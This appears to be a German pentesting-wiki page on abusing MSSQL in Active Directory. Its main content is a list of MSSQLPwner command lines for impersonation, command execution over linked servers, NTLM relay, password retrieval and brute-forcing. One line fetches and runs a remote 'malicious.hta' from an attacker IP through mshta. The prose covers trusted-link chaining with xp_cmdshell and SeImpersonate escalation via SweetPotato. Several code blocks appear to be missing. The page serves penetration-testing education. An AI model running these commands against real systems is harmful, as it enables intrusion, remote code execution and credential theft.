MSSQL AD Abuse
MSSQL AD Missbrauch
MSSQL Aufzählung / Entdeckung
Python
Das MSSQLPwner Tool basiert auf impacket und ermöglicht auch die Authentifizierung mit Kerberos-Tickets und Angriffe über Verknüpfungsketten.
```shell # Interactive mode mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
Executing direct query
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
Retrieving password from the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
Interactive mode
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
Aufzählung aus dem Netzwerk ohne Domänensitzung
Aufzählung von innerhalb der Domäne
MSSQL Grundlegender Missbrauch
Zugriff auf DB
MSSQL RCE
Es könnte auch möglich sein, Befehle innerhalb des MSSQL-Hosts auszuführen.
Check in der im folgenden Abschnitt genannten Seite, wie man dies manuell macht.
MSSQL Grundlegende Hacking-Tricks
1433 - Pentesting MSSQL - Microsoft SQL ServerMSSQL Vertrauenswürdige Links
Wenn eine MSSQL-Instanz von einer anderen MSSQL-Instanz als vertrauenswürdig (Datenbanklink) betrachtet wird. Wenn der Benutzer über Berechtigungen für die vertrauenswürdige Datenbank verfügt, kann er die Vertrauensbeziehung nutzen, um auch in der anderen Instanz Abfragen auszuführen. Diese Vertrauensstellungen können verkettet werden, und irgendwann könnte der Benutzer in der Lage sein, eine falsch konfigurierte Datenbank zu finden, in der er Befehle ausführen kann.
Die Links zwischen Datenbanken funktionieren sogar über Waldvertrauensstellungen hinweg.
Powershell-Missbrauch
Metasploit
Sie können vertrauenswürdige Links ganz einfach mit Metasploit überprüfen.
Beachten Sie, dass Metasploit nur die openquery()
-Funktion in MSSQL auszunutzen versucht (wenn Sie also keinen Befehl mit openquery()
ausführen können, müssen Sie die EXECUTE
-Methode manuell ausprobieren, um Befehle auszuführen, siehe mehr dazu unten.)
Manuell - Openquery()
Von Linux aus könnten Sie eine MSSQL-Konsole mit sqsh und mssqlclient.py erhalten.
Von Windows aus könnten Sie auch die Links finden und Befehle manuell mit einem MSSQL-Client wie HeidiSQL ausführen.
Melden Sie sich mit Windows-Authentifizierung an:
Vertrauenswürdige Links finden
Abfragen in vertrauenswürdigem Link ausführen
Führen Sie Abfragen über den Link aus (Beispiel: Finden Sie weitere Links in der neuen zugänglichen Instanz):
Überprüfen Sie, wo doppelte und einfache Anführungszeichen verwendet werden, es ist wichtig, sie auf diese Weise zu verwenden.
Sie können diese Kette vertrauenswürdiger Links manuell unbegrenzt fortsetzen.
Wenn Sie Aktionen wie exec xp_cmdshell
aus openquery()
nicht ausführen können, versuchen Sie es mit der EXECUTE
-Methode.
Manuell - EXECUTE
Sie können auch vertrauenswürdige Links mit EXECUTE
missbrauchen:
Lokale Privilegieneskalation
Der MSSQL lokale Benutzer hat normalerweise eine spezielle Art von Privileg, das als SeImpersonatePrivilege
bezeichnet wird. Dies ermöglicht dem Konto, "einen Client nach der Authentifizierung zu impersonieren".
Eine Strategie, die viele Autoren entwickelt haben, besteht darin, einen SYSTEM-Dienst zu zwingen, sich bei einem bösartigen oder Man-in-the-Middle-Dienst zu authentifizieren, den der Angreifer erstellt. Dieser bösartige Dienst kann dann den SYSTEM-Dienst impersonieren, während er versucht, sich zu authentifizieren.
SweetPotato hat eine Sammlung dieser verschiedenen Techniken, die über den execute-assembly
Befehl von Beacon ausgeführt werden können.
Last updated